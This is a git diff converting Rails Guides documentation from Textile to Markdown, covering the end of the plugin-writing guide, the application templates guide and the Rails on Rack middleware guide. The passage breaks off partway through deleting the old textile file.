@@ -235,11 +240,11 @@ class Wickwall < ActiveRecord::Base
acts_as_yaffle :yaffle_text_field => :last_tweet
end
-</ruby>
+```
We will also add code to define the acts_as_yaffle method.
-<ruby>
+```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
@@ -257,30 +262,30 @@ module Yaffle
end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
+```
-You can then return to the root directory (+cd ../..+) of your plugin and rerun the tests using +rake+.
+You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`.
-<shell>
- 1) Error:
- test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
- NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
- /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
- test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+```
+ 1) Error:
+ test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
+ /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+ test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
- 2) Error:
- test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
- NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
- Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
- test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+ 2) Error:
+ test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+ NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
+ Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+ test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
- 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+ 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
-</shell>
+```
Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.
-<ruby>
+```ruby
# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
@@ -300,22 +305,22 @@ module Yaffle
end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
+```
-When you run +rake+ you should see the tests all pass:
+When you run `rake` you should see the tests all pass:
-<shell>
- 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```bash
+ 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+```
-h4. Add an Instance Method
+### Add an Instance Method
This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
method will simply set the value of one of the fields in the database.
To start out, write a failing test that shows the behavior you'd like:
-<ruby>
+```ruby
# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'
@@ -341,13 +346,13 @@ class ActsAsYaffleTest < Test::Unit::TestCase
assert_equal "squawk! Hello World", wickwall.last_tweet
end
end
-</ruby>
+```
Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
then update 'acts_as_yaffle.rb' to look like this:
-<ruby>
-# yaffle/lib/yaffle/acts_as_yaffle.rb
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
module Yaffle
module ActsAsYaffle
@@ -374,36 +379,39 @@ module Yaffle
end
ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
-</ruby>
+```
-Run +rake+ one final time and you should see:
+Run `rake` one final time and you should see:
-<shell>
- 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
-</shell>
+```
+ 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
+```
-NOTE: The use of +write_attribute+ to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use <tt>send("#{self.class.yaffle_text_field}=", string.to_squawk)</tt>.
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`.
-h3. Generators
+Generators
+----------
Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
-the creation of generators can be found in the "Generators Guide":generators.html
+the creation of generators can be found in the [Generators Guide](generators.html)
-h3. Publishing your Gem
+Publishing your Gem
+-------------------
Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
-<ruby>
+```ruby
gem 'yaffle', :git => 'git://github.com/yaffle_watcher/yaffle.git'
-</ruby>
+```
-After running +bundle install+, your gem functionality will be available to the application.
+After running `bundle install`, your gem functionality will be available to the application.
-When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org.
-For more information about publishing gems to RubyGems, see: "Creating and Publishing Your First Ruby Gem":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html
+When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html)
-h3. RDoc Documentation
+RDoc Documentation
+------------------
Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
@@ -418,13 +426,13 @@ Once your README is solid, go through and add rdoc comments to all of the method
Once your comments are good to go, navigate to your plugin directory and run:
-<shell>
+```bash
$ rake rdoc
-</shell>
+```
-h4. References
+### References
-* "Developing a RubyGem using Bundler":https://github.com/radar/guides/blob/master/gem-development.md
-* "Using .gemspecs as Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/
-* "Gemspec Reference":http://docs.rubygems.org/read/chapter/20
-* "GemPlugins: A Brief Introduction to the Future of Rails Plugins":http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins
+* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
+* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
+* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20)
+* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins)
diff --git a/guides/source/rails_application_templates.textile b/guides/source/rails_application_templates.md
index f50ced3307..ee5fbcfd52 100644
--- a/guides/source/rails_application_templates.textile
+++ b/guides/source/rails_application_templates.md
@@ -1,4 +1,5 @@
-h2. Rails Application Templates
+Rails Application Templates
+===========================
Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
@@ -7,29 +8,31 @@ By referring to this guide, you will be able to:
* Use templates to generate/customize Rails applications
* Write your own reusable application templates using the Rails template API
-endprologue.
+--------------------------------------------------------------------------------
-h3. Usage
+Usage
+-----
To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL.
-<shell>
+```bash
$ rails new blog -m ~/template.rb
$ rails new blog -m http://example.com/template.rb
-</shell>
+```
-You can use the rake task +rails:template+ to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
+You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
-<shell>
+```bash
$ rake rails:template LOCATION=~/template.rb
$ rake rails:template LOCATION=http://example.com/template.rb
-</shell>
+```
-h3. Template API
+Template API
+------------
Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template:
-<ruby>
+```ruby
# template.rb
run "rm public/index.html"
generate(:scaffold, "person name:string")
@@ -38,88 +41,88 @@ rake("db:migrate")
git :init
git :add => "."
-git :commit => "-a -m 'Initial commit'"
-</ruby>
+git :commit => %Q{ -m 'Initial commit' }
+```
The following sections outlines the primary methods provided by the API:
-h4. gem(name, options = {})
+### gem(name, options = {})
-Adds a +gem+ entry for the supplied gem to the generated application’s +Gemfile+.
+Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`.
-For example, if your application depends on the gems +bj+ and +nokogiri+:
+For example, if your application depends on the gems `bj` and `nokogiri`:
-<ruby>
+```ruby
gem "bj"
gem "nokogiri"
-</ruby>
+```
-Please note that this will NOT install the gems for you and you will have to run +bundle install+ to do that.
+Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that.
-<ruby>
+```bash
bundle install
-</ruby>
+```
-h4. gem_group(*names, &block)
+### gem_group(*names, &block)
Wraps gem entries inside a group.
-For example, if you want to load +rspec-rails+ only in +development+ and +test+ group:
+For example, if you want to load `rspec-rails` only in `development` and `test` group:
-<ruby>
+```ruby
gem_group :development, :test do
gem "rspec-rails"
end
-</ruby>
+```
-h4. add_source(source, options = {})
+### add_source(source, options = {})
-Adds the given source to the generated application's +Gemfile+.
+Adds the given source to the generated application's `Gemfile`.
For example, if you need to source a gem from "http://code.whytheluckystiff.net":
-<ruby>
+```ruby
add_source "http://code.whytheluckystiff.net"
-</ruby>
+```
-h4. vendor/lib/file/initializer(filename, data = nil, &block)
+### vendor/lib/file/initializer(filename, data = nil, &block)
-Adds an initializer to the generated application’s +config/initializers+ directory.
+Adds an initializer to the generated application’s `config/initializers` directory.
-Lets say you like using +Object#not_nil?+ and +Object#not_blank?+:
+Lets say you like using `Object#not_nil?` and `Object#not_blank?`:
-<ruby>
+```ruby
initializer 'bloatlol.rb', <<-CODE
-class Object
- def not_nil?
- !nil?
- end
+ class Object
+ def not_nil?
+ !nil?
+ end
- def not_blank?
- !blank?
+ def not_blank?
+ !blank?
+ end
end
-end
CODE
-</ruby>
+```
-Similarly +lib()+ creates a file in the +lib/+ directory and +vendor()+ creates a file in the +vendor/+ directory.
+Similarly `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
-There is even +file()+, which accepts a relative path from +Rails.root+ and creates all the directories/file needed:
+There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/file needed:
-<ruby>
+```ruby
file 'app/components/foo.rb', <<-CODE
-class Foo
-end
+ class Foo
+ end
CODE
-</ruby>
+```
-That’ll create +app/components+ directory and put +foo.rb+ in there.
+That’ll create `app/components` directory and put `foo.rb` in there.
-h4. rakefile(filename, data = nil, &block)
+### rakefile(filename, data = nil, &block)
-Creates a new rake file under +lib/tasks+ with the supplied tasks:
+Creates a new rake file under `lib/tasks` with the supplied tasks:
-<ruby>
+```ruby
rakefile("bootstrap.rake") do
<<-TASK
namespace :boot do
@@ -129,87 +132,87 @@ rakefile("bootstrap.rake") do
end
TASK
end
-</ruby>
+```
-The above creates +lib/tasks/bootstrap.rake+ with a +boot:strap+ rake task.
+The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.
-h4. generate(what, args)
+### generate(what, args)
Runs the supplied rails generator with given arguments.
-<ruby>
+```ruby
generate(:scaffold, "person", "name:string", "address:text", "age:number")
-</ruby>
+```
-h4. run(command)
+### run(command)
-Executes an arbitrary command. Just like the backticks. Let's say you want to remove the +public/index.html+ file:
+Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `public/index.html` file:
-<ruby>
+```ruby
run "rm public/index.html"
-</ruby>
+```
-h4. rake(command, options = {})
+### rake(command, options = {})
Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
-<ruby>
+```ruby
rake "db:migrate"
-</ruby>
+```
You can also run rake tasks with a different Rails environment:
-<ruby>
+```ruby
rake "db:migrate", :env => 'production'
-</ruby>
+```
-h4. route(routing_code)
+### route(routing_code)
-This adds a routing entry to the +config/routes.rb+ file. In above steps, we generated a person scaffold and also removed +public/index.html+. Now to make +PeopleController#index+ as the default page for the application:
+This adds a routing entry to the `config/routes.rb` file. In above steps, we generated a person scaffold and also removed `public/index.html`. Now to make `PeopleController#index` as the default page for the application:
-<ruby>
+```ruby
route "root :to => 'person#index'"
-</ruby>
+```
-h4. inside(dir)
+### inside(dir)
Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
-<ruby>
+```ruby
inside('vendor') do
run "ln -s ~/commit-rails/rails rails"
end
-</ruby>
+```
-h4. ask(question)
+### ask(question)
-+ask()+ gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
+`ask()` gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding:
-<ruby>
+```ruby
lib_name = ask("What do you want to call the shiny library ?")
lib_name << ".rb" unless lib_name.index(".rb")
lib lib_name, <<-CODE
-class Shiny
-end
+ class Shiny
+ end
CODE
-</ruby>
+```
-h4. yes?(question) or no?(question)
+### yes?(question) or no?(question)
These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to:
-<ruby>
+```ruby
rake("rails:freeze:gems") if yes?("Freeze rails gems ?")
-no?(question) acts just the opposite.
-</ruby>
+# no?(question) acts just the opposite.
+```
-h4. git(:command)
+### git(:command)
Rails templates let you run any git command:
-<ruby>
+```ruby
git :init
git :add => "."
git :commit => "-a -m 'Initial commit'"
-</ruby>
+```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
new file mode 100644
index 0000000000..0e59395c8a
--- /dev/null
+++ b/guides/source/rails_on_rack.md
@@ -0,0 +1,346 @@
+Rails on Rack
+=============
+
+This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
+
+* Create Rails Metal applications
+* Use Rack Middlewares in your Rails applications
+* Understand Action Pack's internal Middleware stack
+* Define a custom Middleware stack
+
+--------------------------------------------------------------------------------
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.
+
+Introduction to Rack
+--------------------
+
+bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- [Rack API Documentation](http://rack.rubyforge.org/doc/)
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
+
+Rails on Rack
+-------------
+
+### Rails Application's Rack Object
+
+`ApplicationName::Application` is the primary Rack application object of a Rails application. Any Rack compliant web server should be using `ApplicationName::Application` object to serve a Rails application.
+
+### `rails server`
+
+`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver.
+
+Here's how `rails server` creates an instance of `Rack::Server`
+
+```ruby
+Rails::Server.new.tap { |server|
+ require APP_PATH
+ Dir.chdir(Rails.application.root)
+ server.start
+}
+```
+
+The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way:
+
+```ruby
+class Server < ::Rack::Server
+ def start
+ ...
+ super
+ end
+end
+```
+
+Here's how it loads the middlewares:
+
+```ruby
+def middleware
+ middlewares = []
+ middlewares << [Rails::Rack::Debugger] if options[:debugger]
+ middlewares << [::Rack::ContentLength]
+ Hash.new(middlewares)
+end
+```
+
+`Rails::Rack::Debugger` is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares:
+
+| Middleware | Purpose |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| `Rails::Rack::Debugger` | Starts Debugger |
+| `Rack::ContentLength` | Counts the number of bytes in the response and set the HTTP Content-Length header |
+
+### `rackup`
+
+To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory:
+
+```ruby
+# Rails.root/config.ru
+require "config/environment"
+
+use Rack::Debugger
+use Rack::ContentLength
+run ApplicationName::Application
+```
+
+And start the server:
+
+```bash
+$ rackup config.ru
+```
+
+To find out more about different `rackup` options:
+
+```bash
+$ rackup --help
+```
+
+Action Dispatcher Middleware Stack
+----------------------------------
+
+Many of Action Dispatchers's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: `ActionDispatch::MiddlewareStack` is Rails' equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.
+
+### Inspecting Middleware Stack
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+```bash
+$ rake middleware
+```
+
+For a freshly generated Rails application, this might produce something like:
+
+```ruby
+use ActionDispatch::Static
+use Rack::Lock
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
+use ActiveRecord::QueryCache
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use ActionDispatch::ParamsParser
+use ActionDispatch::Head
+use Rack::ConditionalGet
+use Rack::ETag
+use ActionDispatch::BestStandardsSupport
+run ApplicationName::Application.routes
+```
+
+Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section.
+
+### Configuring Middleware Stack
+
+Rails provides a simple configuration interface `config.middleware` for adding, removing and modifying the middlewares in the middleware stack via `application.rb` or the environment specific configuration file `environments/<environment>.rb`.
+
+#### Adding a Middleware
+
+You can add a new middleware to the middleware stack using any of the following methods:
+
+* `config.middleware.use(new_middleware, args)` - Adds the new middleware at the bottom of the middleware stack.
+
+* `config.middleware.insert_before(existing_middleware, new_middleware, args)` - Adds the new middleware before the specified existing middleware in the middleware stack.
+
+* `config.middleware.insert_after(existing_middleware, new_middleware, args)` - Adds the new middleware after the specified existing middleware in the middleware stack.
+
+```ruby
+# config/application.rb
+
+# Push Rack::BounceFavicon at the bottom
+config.middleware.use Rack::BounceFavicon
+
+# Add Lifo::Cache after ActiveRecord::QueryCache.
+# Pass { :page_cache => false } argument to Lifo::Cache.
+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
+```
+
+#### Swapping a Middleware
+
+You can swap an existing middleware in the middleware stack using `config.middleware.swap`.
+
+```ruby
+# config/application.rb
+
+# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+```
+
+#### Middleware Stack is an Enumerable
+
+The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods.
+
+Append following lines to your application configuration:
+
+```ruby
+# config/application.rb
+config.middleware.delete "Rack::Lock"
+```
+
+And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it.
+
+```bash
+$ rake middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+use Rack::Runtime
+...
+run Blog::Application.routes
+```
+
+If you want to remove session related middleware, do the following:
+
+```ruby
+# config/application.rb
+config.middleware.delete "ActionDispatch::Cookies"
+config.middleware.delete "ActionDispatch::Session::CookieStore"
+config.middleware.delete "ActionDispatch::Flash"
+```
+
+And to remove browser related middleware,
+
+```ruby
+# config/application.rb
+config.middleware.delete "ActionDispatch::BestStandardsSupport"
+config.middleware.delete "Rack::MethodOverride"
+```
+
+### Internal Middleware Stack
+
+Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
+
+ **`ActionDispatch::Static`**
+
+* Used to serve static assets. Disabled if `config.serve_static_assets` is true.
+
+ **`Rack::Lock`**
+
+* Sets `env["rack.multithread"]` flag to `true` and wraps the application within a Mutex.
+
+ **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`**
+
+* Used for memory caching. This cache is not thread safe.
+
+ **`Rack::Runtime`**
+
+* Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.
+
+ **`Rack::MethodOverride`**
+
+* Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types.
+
+ **`ActionDispatch::RequestId`**
+
+* Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method.
+
+ **`Rails::Rack::Logger`**
+
+* Notifies the logs that the request has began. After request is complete, flushes all the logs.
+
+ **`ActionDispatch::ShowExceptions`**
+
+* Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.
+
+ **`ActionDispatch::DebugExceptions`**
+
+* Responsible for logging exceptions and showing a debugging page in case the request is local.
+
+ **`ActionDispatch::RemoteIp`**
+
+* Checks for IP spoofing attacks.
+
+ **`ActionDispatch::Reloader`**
+
+* Provides prepare and cleanup callbacks, intended to assist with code reloading during development.
+
+ **`ActionDispatch::Callbacks`**
+
+* Runs the prepare callbacks before serving the request.
+
+ **`ActiveRecord::ConnectionAdapters::ConnectionManagement`**
+
+* Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
+
+ **`ActiveRecord::QueryCache`**
+
+* Enables the Active Record query cache.
+
+ **`ActionDispatch::Cookies`**
+
+* Sets cookies for the request.
+
+ **`ActionDispatch::Session::CookieStore`**
+
+* Responsible for storing the session in cookies.
+
+ **`ActionDispatch::Flash`**
+
+* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
+
+ **`ActionDispatch::ParamsParser`**
+
+* Parses out parameters from the request into `params`.
+
+ **`ActionDispatch::Head`**
+
+* Converts HEAD requests to `GET` requests and serves them as so.
+
+ **`Rack::ConditionalGet`**
+
+* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
+
+ **`Rack::ETag`**
+
+* Adds ETag header on all String bodies. ETags are used to validate cache.
+
+ **`ActionDispatch::BestStandardsSupport`**
+
+* Enables “best standards support” so that IE8 renders some elements correctly.
+
+TIP: It's possible to use any of the above middlewares in your custom Rack stack.
+
+### Using Rack Builder
+
+The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`.
+
+<strong>Clear the existing Rails middleware stack</strong>
+
+```ruby
+# config/application.rb
+config.middleware.clear
+```
+
+<br />
+<strong>Add a `config.ru` file to `Rails.root`</strong>
+
+```ruby
+# config.ru
+use MyOwnStackFromScratch
+run ApplicationName::Application
+```
+
+Resources
+---------
+
+### Learning Rack
+
+* [Official Rack Website](http://rack.github.com)
+* [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html)
+* [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack)
+* [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder)
+
+### Understanding Middlewares
+
+* [Railscast on Rack Middlewares](http://railscasts.com/episodes/151-rack-middleware)
diff --git a/guides/source/rails_on_rack.textile b/guides/source/rails_on_rack.textile
deleted file mode 100644
index 63712b22ef..0000000000
--- a/guides/source/rails_on_rack.textile
+++ /dev/null
@@ -1,318 +0,0 @@
-h2. Rails on Rack
-
-This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:
-
-* Create Rails Metal applications
-* Use Rack Middlewares in your Rails applications
-* Understand Action Pack's internal Middleware stack
-* Define a custom Middleware stack
-
-endprologue.
-
-WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and +Rack::Builder+.
-
-h3. Introduction to Rack
-
-bq. Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
-
-- "Rack API Documentation":http://rack.rubyforge.org/doc/
-
-Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the "Resources":#resources section below.
-
-h3. Rails on Rack
-
-h4. Rails Application's Rack Object
-
-<tt>ApplicationName::Application</tt> is the primary Rack application object of a Rails application. Any Rack compliant web server should be using +ApplicationName::Application+ object to serve a Rails application.
-
-h4. +rails server+
-
-<tt>rails server</tt> does the basic job of creating a +Rack::Server+ object and starting the webserver.
-
-Here's how +rails server+ creates an instance of +Rack::Server+
-
-<ruby>
-Rails::Server.new.tap { |server|
- require APP_PATH
- Dir.chdir(Rails.application.root)
- server.start
-}
-</ruby>
-
-The +Rails::Server+ inherits from +Rack::Server+ and calls the +Rack::Server#start+ method this way:
-
-<ruby>
-class Server < ::Rack::Server
- def start
- ...
- super
- end
-end
-</ruby>
-
-Here's how it loads the middlewares:
-
-<ruby>
-def middleware
- middlewares = []
- middlewares << [Rails::Rack::Debugger] if options[:debugger]
- middlewares << [::Rack::ContentLength]
- Hash.new(middlewares)
-end
-</ruby>
-
-+Rails::Rack::Debugger+ is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares:
-
-|_.Middleware|_.Purpose|
-|+Rails::Rack::Debugger+|Starts Debugger|
-|+Rack::ContentLength+|Counts the number of bytes in the response and set the HTTP Content-Length header|
-
-h4. +rackup+
-
-To use +rackup+ instead of Rails' +rails server+, you can put the following inside +config.ru+ of your Rails application's root directory:
-
-<ruby>
-# Rails.root/config.ru
-require "config/environment"
-
-use Rack::Debugger
-use Rack::ContentLength
-run ApplicationName::Application
-</ruby>
-
-And start the server:
-
-<shell>
-$ rackup config.ru
-</shell>
-
-To find out more about different +rackup+ options:
-
-<shell>
-$ rackup --help
-</shell>
-
-h3. Action Dispatcher Middleware Stack
-
-Many of Action Dispatchers's internal components are implemented as Rack middlewares. +Rails::Application+ uses +ActionDispatch::MiddlewareStack+ to combine various internal and external middlewares to form a complete Rails Rack application.
-
-NOTE: +ActionDispatch::MiddlewareStack+ is Rails' equivalent of +Rack::Builder+, but built for better flexibility and more features to meet Rails' requirements.
-
-h4. Inspecting Middleware Stack
-
-Rails has a handy rake task for inspecting the middleware stack in use:
-
-<shell>
-$ rake middleware
-</shell>
-
-For a freshly generated Rails application, this might produce something like:
-
-<ruby>
-use ActionDispatch::Static
-use Rack::Lock
-use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
-use Rack::Runtime
-use Rack::MethodOverride
-use ActionDispatch::RequestId
-use Rails::Rack::Logger
-use ActionDispatch::ShowExceptions
-use ActionDispatch::DebugExceptions
-use ActionDispatch::RemoteIp
-use ActionDispatch::Reloader
-use ActionDispatch::Callbacks
-use ActiveRecord::ConnectionAdapters::ConnectionManagement
-use ActiveRecord::QueryCache
-use ActionDispatch::Cookies
-use ActionDispatch::Session::CookieStore
-use ActionDispatch::Flash
-use ActionDispatch::ParamsParser
-use ActionDispatch::Head
-use Rack::ConditionalGet
-use Rack::ETag
-use ActionDispatch::BestStandardsSupport
-run ApplicationName::Application.routes
-</ruby>
-
-Purpose of each of this middlewares is explained in the "Internal Middlewares":#internal-middleware-stack section.
-
-h4. Configuring Middleware Stack
-
-Rails provides a simple configuration interface +config.middleware+ for adding, removing and modifying the middlewares in the middleware stack via +application.rb+ or the environment specific configuration file <tt>environments/&lt;environment&gt;.rb</tt>.
-
-h5. Adding a Middleware
-
-You can add a new middleware to the middleware stack using any of the following methods:
-
-* <tt>config.middleware.use(new_middleware, args)</tt> - Adds the new middleware at the bottom of the middleware stack.
-
-* <tt>config.middleware.insert_before(existing_middleware, new_middleware, args)</tt> - Adds the new middleware before the specified existing middleware in the middleware stack.
-
-* <tt>config.middleware.insert_after(existing_middleware, new_middleware, args)</tt> - Adds the new middleware after the specified existing middleware in the middleware stack.
-
-<ruby>
-# config/application.rb
-
-# Push Rack::BounceFavicon at the bottom
-config.middleware.use Rack::BounceFavicon
-
-# Add Lifo::Cache after ActiveRecord::QueryCache.
-# Pass { :page_cache => false } argument to Lifo::Cache.
-config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, :page_cache => false
-</ruby>
-
-h5. Swapping a Middleware
-
-You can swap an existing middleware in the middleware stack using +config.middleware.swap+.
-
-<ruby>
-# config/application.rb
-
-# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
-config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
-</ruby>
-
-h5. Middleware Stack is an Enumerable
-
-The middleware stack behaves just like a normal +Enumerable+. You can use any +Enumerable+ methods to manipulate or interrogate the stack. The middleware stack also implements some +Array+ methods including <tt>[]</tt>, +unshift+ and +delete+. Methods described in the section above are just convenience methods.
-
-Append following lines to your application configuration:
-
-<ruby>
-# config/application.rb
-config.middleware.delete "Rack::Lock"
-</ruby>
-
-And now if you inspect the middleware stack, you'll find that +Rack::Lock+ will not be part of it.
-
-<shell>
-$ rake middleware
-(in /Users/lifo/Rails/blog)
-use ActionDispatch::Static
-use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
-use Rack::Runtime
-...
-run Blog::Application.routes
-</shell>
-
-If you want to remove session related middleware, do the following:
-
-<ruby>
-# config/application.rb
-config.middleware.delete "ActionDispatch::Cookies"
-config.middleware.delete "ActionDispatch::Session::CookieStore"
-config.middleware.delete "ActionDispatch::Flash"
-</ruby>
-
-And to remove browser related middleware,
-
-<ruby>
-# config/application.rb
-config.middleware.delete "ActionDispatch::BestStandardsSupport"
-config.middleware.delete "Rack::MethodOverride"
-</ruby>
-
-h4. Internal Middleware Stack
-
-Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:
-
- *+ActionDispatch::Static+*
